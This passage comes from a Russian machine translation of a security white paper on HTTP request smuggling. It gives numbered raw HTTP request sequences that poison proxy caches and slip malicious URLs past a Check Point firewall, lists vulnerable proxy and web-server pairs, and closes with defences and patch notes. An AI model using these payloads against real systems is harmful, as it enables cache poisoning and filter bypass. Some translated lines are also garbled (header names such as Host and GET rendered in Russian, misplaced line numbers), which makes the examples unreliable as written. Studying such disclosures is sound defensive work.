4     GET /poison.html?aaaa ... aaa [2048 раз] HTTP/1.0
5     Content-Length: N
6     Content-Length : 0
7
      8GET http://SITE/page_to_poison.html
HTTP/1.0 9
```

Где *N* - длина запроса "http://SITE/page_to_poison.html", переданного PCCA (строки 8-9), как это воспринимается веб-сервером.

PCCA будет рассматривать строки 1-7 как первый запрос. Это запрос GET с Content-Length 0 (обратите внимание, что PCCA анализирует два заголовка Content-Length: один в строке 5 и один в строке 6. Заголовок в строке 6, в котором используется техника "header SP", является нестандартным, поскольку после имени заголовка стоит дополнительный SP. Однако PCCA все равно рассматривает эту строку как заголовок Content-Length.[5] Поскольку PCCA использует последнее значение, в данном случае он использует Content-Length 0). Таким образом, PCCA посылает строки 1-7 как один HTTP-запрос на веб-сервер.

Обратите внимание, что PCCA изменяет CR CRLF на CR CR CRLF. Это не влияет на атаку. IIS/5.0 анализирует это как первый запрос (строки 1-3), за которым следует частичный второй запрос (строки 4-7). Первый запрос завершается символом CRLF CR CR CRLF. Интересным поведением IIS/5.0 является то, что он сканирует следующее число данных в TCP-соединении, пытаясь интерпретировать его как HTTP-заголовок. Таким образом, если в следующих 2048 байтах он находит символ двоеточия, то последовательность CRLF CR CR CR CRLF не рассматривается как метка "конец заголовка". Вот почему нам нужен блокнот размером 2048 "a". Поскольку эта проблема решена, и IIS не видит двоеточия в буфере, он рассматривает строки 4-7 как новый HTTP-запрос (он, конечно, отправляет ответ на первый запрос). Строки 4-7 интерпретируются как запрос GET с Content-Length *N* (строка 6 игнорируется, поскольку IIS не рассматривает Content-Length, за которым следует SP, как заголовок Content-Length6). Теперь IIS ожидает завершения запроса.

Возвращаясь к PCCA, ответ на первый GET-запрос был получен, и поэтому PCCA может переслать следующий запрос, как он его понимает (для page_to_poison.html), а именно строки 8-9.

[5] Имя заголовка, за которым следует SP, не допускается в HTTP/1.1 (см. [4] раздел 4.2 - имя поля является маркером, который не может

содержать SP). Также, как заголовок запроса HTTP (т.е. в понимании PCCA), строка 4 является незаконной (опять же, см. [4] раздел 4.2 - имя поля является маркером, который не может содержать SP). [6] Имя заголовка, за которым следует SP, не допускается в HTTP/1.1 (см. [4] раздел 4.2 - имя поля является маркером, который не может содержать SP).

IIS теперь получает недостающие *N* символов тела второго запроса; запрос (для poison.html) теперь может быть полностью разобран и отвечен. PCCA получает содержимое /poison.html в ответ на запрос /page_to_poison.html. Отравление веб-кэша завершено.

Эта техника была протестирована на PCCA и IIS/5.0, однако можно многое узнать о том, как практически применить атаку на других парах, преодолевая различные препятствия.

4. **GET-запрос с Content-Length (обратная контрабанда)**
Аномалия здесь заключается в том, что некоторые организации считают, что GET-запрос не имеет тела, даже когда предоставляется заголовок Content-Length.[7] Кэш-сервер в данном случае (DeleGate/8.9.2) считает, что GET-запрос с заголовком Content-Length все еще не имеет тела, и поэтому он направляет запрос (без тела) на веб-серверы. Некоторые веб-серверы действительно будут обслуживать содержимое статической страницы, не получив сначала все запросы. В таких случаях возможно отравление кэша (если веб-сервер ждет, пока придут все запросы, то возникает тупик).

   Веб-серверы, которые демонстрируют такое поведение, являются:
   - Microsoft IIS/6.0
   - Jakarta Tomcat 5.0.19 (Coyote/1.1), Tomcat 4.1.24 (Coyote/1.0)
   - Веб-сервер Sun Microsystems SunONE 6.1 SP1

   Вот пример атаки (см. также пример №3 выше):

```
1     GET http://SITE/static_foobar.html HTTP/1.1
2     Соединение: Keep-Alive
3     Хозяин: САЙТ
4     Content-Type: application/x-www-form-urlencoded
5     Content-Length: 40
6
7     GET http://SITE/page_to_poison.html HTTP/1.1
8     Foo: GET /poison.html HTTP/1.0
9
```

   DeleGate предполагает, что запрос GET не имеет тела. Поэтому он передает строки 1-6 как полный запрос на W/S. W/S передает ответ /static_foobar.html, но также ожидает завершения запроса (т.е. дополнительных 40 байт, отправленных DeleGate). Увидев первый ответ, DeleGate теперь читает следующий запрос от клиента, а это строки 7-9. Он пересылает его в W/S.

   W/S считывает первые 40 байт и молча отбрасывает их. Эти первые 40 байтов являются в точности "GET
   /page_to_poison.html HTTP/1.1 CRLF Foo:", который прокси пересылает в W/S в начале второго запроса. Поэтому W/S отбросит это и прочитает второй запрос как GET /poison.html. Эта страница будет возвращена в DeleGate, поэтому DeleGate увидит содержимое страницы /poison.html в ответ на запрос /page_to_poison.html.

[7] В RFC HTTP/1.1 немного неясно, действительно ли разрешено посылать запрос GET с телом (см. [4] раздел 4.3 и раздел 9.3). Тем не менее, он указывает на необходимость чтения тела любого запроса, см. [4] раздел 4.3 - "Сервер ДОЛЖЕН читать и передавать тело сообщения в любом запросе; если метод запроса не включает определенную семантику для тела сущности, то тело сообщения ДОЛЖНО игнорироваться при обработке запроса".

Эта атака может быть успешной при использовании DeleGate/8.9.2 и всех веб-серверов, упомянутых выше (IIS/6.0, Tomcat и SunONE).

5. Трюк с CRLF SP CRLF

Эта техника использует менее реализованную особенность HTTP - "строки продолжения заголовка". Согласно стандарту HTTP, строка заголовка, начинающаяся с SP, на самом деле является продолжением предыдущей строки заголовка.[8] Однако некоторые организации плохо реализуют это в своих парсерах HTTP, отсюда и аномалия.

Организации, которые рассматривают CRLF SP CRLF как продолжение предыдущего заголовка:

- Checkpoint FW-1 kernel R55W beta (Web Intelligence) - согласно Checkpoint, эта проблема не воспроизводится в R55W
- Кальмар (при некоторых условиях)

Веб-серверы, которые рассматривают CRLF SP CRLF как метку конца заголовков:

- Microsoft IIS/5.0

a. Прямая атака

```
1  POST /dynamic_foobar.asp HTTP/1.0
2  Соединение: Keep-Alive
3  Content-Type: application/x-www-form-urlencoded
4  [SP]
5  GET /malicious_url HTTP/1.0
6
```

FW-1 отправит строки 1-6 на веб-сервер (IIS/5.0). Он будет рассматривать строку 4 как продолжение строки 3, а строку 5 - как заголовок HTTP-запроса.[9] Поскольку FW-1 не применяет свои сигнатурные тесты к HTTP-заголовкам, он пропустит такие строки, как "cmd.exe" в этой строке (т.е. функция ловли червей, сигнатуры XSS и SQL-инъекций не будут проверены на этих данных).

IIS/5.0 интерпретирует этот вход как два запроса: строки 1-4 - первый запрос (POST-запрос с телом нулевой длины, который завершается последовательностью CRLF SP CRLF), а строки 5-6 - второй запрос (GET-запрос с вредоносным URL).

Поэтому средства защиты FW-1 (например, защита от ловли червей, XSS и SQL-инъекций) не смогут предотвратить поступление URL-адресов во втором запросе на веб-сервер.

b. Вариант атаки, требующий некоторой прокладки:

Squid (мы тестировали Squid 2.4stable7, 2.5stable4 и 2.5stable5 для NT) рассматривает CRLF SP CRLF как продолжение. Однако Squid также требует, чтобы заголовки HTTP-запросов содержали символ двоеточия (иначе весь запрос будет отклонен). Поэтому строка, следующая непосредственно за

[8] HTTP/1.1 определяет продолжение строки заголовка в [4], раздел 2.2: "Значения полей заголовков HTTP/1.1 могут быть разнесены на несколько строк, если строка продолжения начинается с пробела или горизонтальной табуляции".

[9] Хотя HTTP не разрешает такие заголовки, поскольку символ пробела не может быть частью имени заголовка (токена), см. [4] раздел 4.2.

CRLF SP CRLF (строка 5 в простом варианте) должна содержать двоеточие. Однако оказывается, что IIS/5.0 проверяет наличие двоеточия после CRLF SP CRLF, и если оно найдено "достаточно близко", то IIS/5.0 определяет, что эта строка является строкой заголовка (т.е. IIS/5.0 не будет завершать раздел заголовка в этом случае). Поэтому хитрость заключается в том, чтобы заполнить строку произвольными данными (6000 байт), за которыми следует символ двоеточия. Это заставит Squid интерпретировать ее как строку заголовка, в то время как IIS/5.0 интерпретирует ее как новый запрос, а не как строку заголовка.

Например:

```
1  GET http://SITE/static_foobar.asp HTTP/1.0
2  Foo: бар
3  [SP]
4  GET /poison.html?AAAAA ... [6000 раз]... AAAA: HTTP/1.0
5  Соединение: Keep-Alive
6
7 ПОЛУЧИТЬ http://SITE/page_to_poison.html
HTTP/1.0 8
```

Squid отправляет строки 1-6 как один запрос на веб-сервер (IIS). Обратите внимание, что строка 4 является допустимым заголовком, согласно Squid,[10] поскольку содержит символ двоеточия. IIS интерпретирует эти данные как два
requests - строки 1-3 - это первый запрос, завершаемый последовательностью CRLF SP CRLF, за которым не следует строка заголовка (в интерпретации IIS, то есть несколько тысяч байт сразу после CRLF SP CRLF не содержат символа двоеточия). Этот запрос обслуживается IIS, а ответ возвращается Squid. Далее Squid отправляет строки 7-8, но IIS теперь возвращает ответ из строк 4-6. Таким образом, Squid сопоставляет содержимое /poison.html с URL запроса
/page_to_poison.html.

Есть несколько деликатных моментов:

- Последовательности атак должен предшествовать запрос к какому-либо произвольному ресурсу с заголовком Connection: Keep-Alive. Этот заголовок сигнализирует IIS о том, что соединение является постоянным. Добавлять этот заголовок в первый запрос (например, между строками 1 и 2) неэффективно, поскольку Squid перестраивает HTTP-заголовки и отправляет заголовок Connection в числе последних (т.е. после строки 4). В этом случае IIS увидит первый запрос HTTP/1.0 на свежем TCP-соединении без заголовка Connection: Keep-Alive, и будет считать, что соединение не является постоянным. Это приведет к срыву атаки.
- Существуют некоторые временные ограничения. Squid должен увидеть второй ответ IIS только после отправки того, что он интерпретирует как второй запрос (строки 7-8). Поэтому эту атаку, возможно, придется повторить несколько раз, пока события не произойдут в правильном порядке и отравление не будет успешным.

6. **IIS/5.0 преждевременно завершает запросы, длина тела которых > 48 КБ**
   Как следует из названия, IIS/5.0 в некоторых случаях ведет себя очень нестандартно. В частности, запрос с большим (>48 КБ) телом (например, POST с допустимым телом и заголовком Content-Length, указывающим на длину этого тела) без заголовка запроса Content-Type будет рассматриваться как запрос, размер тела которого равен 48 КБ (49152). После 49152

байт тела IIS/5.0 завершит запрос и начнет разбор нового запроса. Это очень облегчает контрабанду запросов в IIS/5.0, поскольку такое поведение нестандартно и противоречит RFC (и, скорее всего, очень малоизвестно).

[10] Хотя HTTP не разрешает такие заголовки, поскольку символ пробела не может быть частью имени заголовка (токена), см. [4] раздел 4.2.

Нам удалось отравить кэш Squid (2.5stable5 для NT), Apache 2.0.45 и ISA/2000. Нам также удалось обойти защиту FW-1.

Пример атаки (для отравления веб-кэша):

```
1     POST http://SITE/dynamic_foobar.asp HTTP/1.1
2     Хозяин: САЙТ
3     Соединение: keep-alive
4     Content-Length: 49181
5
6     AAAA ... AAAA[49150 раз]
7     GET /poison.html HTTP/1.0
8
9     GET http://SITE/page_to_poison.html HTTP/1.1
10    Хозяин: САЙТ
11
```

Кэш-сервер пересылает строки 1-8 на веб-сервер. Обратите внимание, что Content-Length (строка 4) точно покрывает вставку в строке 6 (49150 байт) плюс CRLF в конце строки 6, плюс строки 7 и 8 (каждая с CRLF). IIS/5.0 читает строки 1-6 как первый запрос (завершая тело после 49152 байт, что точно соответствует началу строки 7), за которым следует второй запрос (строки 7-8). Он отправляет ответ на первый запрос на сервер кэширования. Теперь кэш-сервер отправляет второй запрос (/page_to_poison.html), строки 9-11. IIS/5.0 обрабатывает второй ответ (строки 7-8) и отправляет обратно содержимое /poison.html. Кэш-сервер получает содержимое /poison.html в ответ на запрос /page_to_poison.html.

Пример (в обход FW-1, см. также пример №2)

```
1     POST /dynamic_page1.asp HTTP/1.1
2     Хозяин: САЙТ
3     Соединение: keep-alive
4     Content-Length: 49230
5
6     AAAA ... AAAA[49150 раз]
7     POST /dynamic_page2.asp HTTP/1.0
8     Соединение: Keep-Alive
9     Content-Length: 35
10
11    POST /dynamic_page3 HTTP/1.0
12    Бла: GET /malicious_url HTTP/1.0
13
      14GET /some_page
HTTP/1.0 15
```

FW-1 пересылает первый запрос (строки 1-10) на IIS/5.0. IIS/5.0 считывает строки 1-6 как первый, полный запрос. Он отправляет ответ обратно на FW-1. Затем он считывает строки 7-10 как второй, неполный запрос (тело еще не пришло).

FW-1 пересылает ответ от IIS злоумышленнику и отправляет строки 11-13 в качестве второго запроса. Обратите внимание, что данные в строке 12 являются частью заголовка HTTP-запроса (как разобрано FW-1) и, таким образом, не вызывают никаких механизмов обнаружения/защиты в FW-1.

IIS/5.0 получает строку 11 и первые 5 байт строки 12 как тело второго запроса и отвечает на второй запрос. FW-1 получает этот ответ и отправляет третий запрос, строки 14-15 в IIS/5.0. Теперь IIS/5.0 отправляет третий ответ на третий запрос (строки 12-13), который на самом деле является результатом запроса к /malicious_url.

Заключение: Мы убедились, что существует множество пар (прокси-серверы/брандмауэры и веб-серверы) уязвимых систем. В частности, мы показали, что уязвимы следующие пары:

- PCCA
  - IIS/5.0
  - Tomcat 5.0.19 (возможно, также Tomcat 4.1.x)
- Squid 2.5stable4 (Unix) и Squid 2.5stable5 для NT
  - IIS/5.0
  - WebLogic 8.1 SP1
- Apache 2.0.45
  - IIS/5.0
  - IS/6.0
  - Apache 1.3.29
  - Apache 2.0.45
  - WebSphere 5.1 и 5.0
  - WebLogic 8.1 SP1
  - Веб-сервер Oracle9iAS 9.0.2
  - Веб-сервер SunONE 6.1 SP4
- ISA/2000
  - IIS/5.0
  - Tomcat 5.0.19
  - Tomcat 4.1.24
  - Веб-сервер SunONE 6.1 SP4
- DeleGate 8.9.2
  - IIS/6.0
  - Tomcat 5.0.19
  - Tomcat 4.1.24
  - Веб-сервер SunONE 6.1 SP4
- Кэш-сервер Oracle9iAS 9.0.2
  - WebLogic 8.1 SP1
- Прокси-сервер SunONE 3.6 SP4
  - Tomcat 5.0.19
  - Tomcat 4.1.24
  - Веб-сервер SunONE 6.1 SP4
- FW-1 Web Intelligence kernel 55W beta (метод IIS 48K, вероятно, работает с R55W)
  - IIS/5.0

Это неполный список - есть много пар, которые мы не тестировали, и, вероятно, есть много других веб-серверов и кэш-серверов, которые мы не тестировали из-за отсутствия аппаратного и программного обеспечения. Конечно, вероятно, существует еще много подобных методов.

ЗАЩИТА ВАШЕГО САЙТА ОТ HRS

Как сайт может защитить себя от HRS (при условии, что на нем размещены и кэш-сервер, и W/S)? Установка F/W для веб-приложений может помочь, но, как мы показали на примере FW-1, некоторые F/W можно обмануть (спросите у поставщика Web Application Firewall, защищен ли его продукт от этой атаки).

Другим решением является использование веб-серверов, использующих более строгую процедуру разбора HTTP, таких как Apache (мы нашли вариант HRS для Apache только тогда, когда он выполнял функции W/S и кэш-сервера). Конечно, о переходе на другой сервер обычно не может быть и речи.

Другие непрактичные решения - разрешить только SSL-коммуникацию (https вместо http), завершать сессию клиента после каждого запроса или сделать все страницы некэшируемыми (чтобы избежать отравления в сценарии кэш-W/S).

Благодаря усердным усилиям различных поставщиков и онлайн-сообществ, ответственных за вышеупомянутые продукты, мы можем включить информацию о конкретных патчах и конфигурациях для следующих продуктов.

КАЛЬМАР

Насколько нам известно, поднятые вопросы были решены в Squid по мере возможности, а исправления
начали распространяться среди поставщиков, поставляющих продукты Squid. См. рекомендацию Squid "SQUID- 2005:4" (http://www.squid-cache.org/Advisories/SQUID-2005_4.txt), а также:

http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE7-header_parsing
http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE7-response_splitting
http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE8-relaxed_header_parser

Рекомендуемая версия Squid, включающая все эти изменения, - Squid-2.5.STABLE9.

Для Squid также рекомендуется отключить постоянные соединения:

```
client_persistent_connections off
server_persistent_connections off
```

Squid по умолчанию довольно спокойно относится к таким вещам, отвергая только известные вредные символы и обходя множество безобидных. Однако его можно настроить во время выполнения с помощью директивы relaxed_header_parser, чтобы отключить все обходные пути, сделав парсер HTTP довольно строгим как для запросов, так и для ответов.

CHECK POINT FW- 1

Мы понимаем, что описанные выше проблемы либо исправлены в R55W, либо исправлены в патче сейчас.
доступны в Check Point.

ЗАКЛЮЧИТЕЛЬНОЕ ЗАМЕЧАНИЕ ОТНОСИТЕЛЬНО РЕШЕНИЙ

Единственное полное решение для HRS было бы доступно, если бы все HTTP-устройства (кэш-серверы, W/S's, F/W's,

и т.д.) используют точно такой же строгий процесс разбора HTTP. К сожалению, в ближайшем будущем это вряд ли произойдет.

О САЙТЕ WATCHFIRE

Watchfire предоставляет программное обеспечение и услуги для управления рисками в Интернете. Более 250 корпоративных организаций
и государственные учреждения, включая AXA Financial, SunTrust, Nationwide Building Society, Boots PLC, Veterans Affairs и Dell, полагаются на Watchfire для мониторинга, управления, улучшения и обеспечения безопасности всех аспектов онлайн-бизнеса, включая безопасность, конфиденциальность, качество, доступность, корпоративные стандарты и соблюдение нормативных требований. В число альянсов и технологических партнеров Watchfire входят IBM Global Services, PricewaterhouseCoopers, TRUSTe, Microsoft, Interwoven, EMC Documentum и Mercury Interactive. Штаб-квартира компании Watchfire находится в Уолтхэме, штат Массачусетс. Для получения дополнительной информации посетите сайт www.watchfire.com.

Ссылки

[1] А. Клейн, "Разделяй и властвуй - разделение HTTP-ответов, атаки на отравление веб-кэша и связанные с ними атаки".
Темы". *Sanctum White Paper*, март 2004 года.
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[2] ЗАРАЗА, "Bypassing Content Filtering Whitepaper", февраль 2002 года (первоначальная дата документа. Последний раз документ был пересмотрен в августе 2004 года).
http://www.security.nnov.ru/advisories/content.asp

[3] Rain Forest Puppy, "Взгляд на тактику Вискер по борьбе со СПИДом",
декабрь 1999 г.
http://www.ussrback.com/docs/papers/IDS/whiskerids.html

[4] J. Геттис, Р. Филдинг, Дж. Могул, Х. Фрайстик, Л. Масинтер, П. Лич и Т. Бернерс-Ли,
"Протокол передачи гипертекста - HTTP/1.1". *RFC 2616*, июнь 1999 года.
http://www.w3.org/Protocols/rfc2616/rfc2616

[5] J. Гроссман, "Межсайтовая трассировка (XST)". *WhiteHat Security White Paper*, январь
2003 г. http://www.cgisecurity.net/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf.

[6] Р. Уоткинс, "Подделка межсайтовых запросов (CSRF)", *сообщение BugTraq*,
июнь 2001 г. http://www.securityfocus.com/archive/1/191390.

[7] "CERT Advisory CA-2000-02 Вредоносные HTML-теги, встроенные в клиентские веб-запросы".
Февраль 2000 года. http://www.cert.org/advisories/CA-2000-02.html

[8] А. Клейн, "Объяснение межсайтовых скриптов". *Sanctum White Paper*,
май 2002 года. http://crypto.stanford.edu/cs155/CSS.pdf

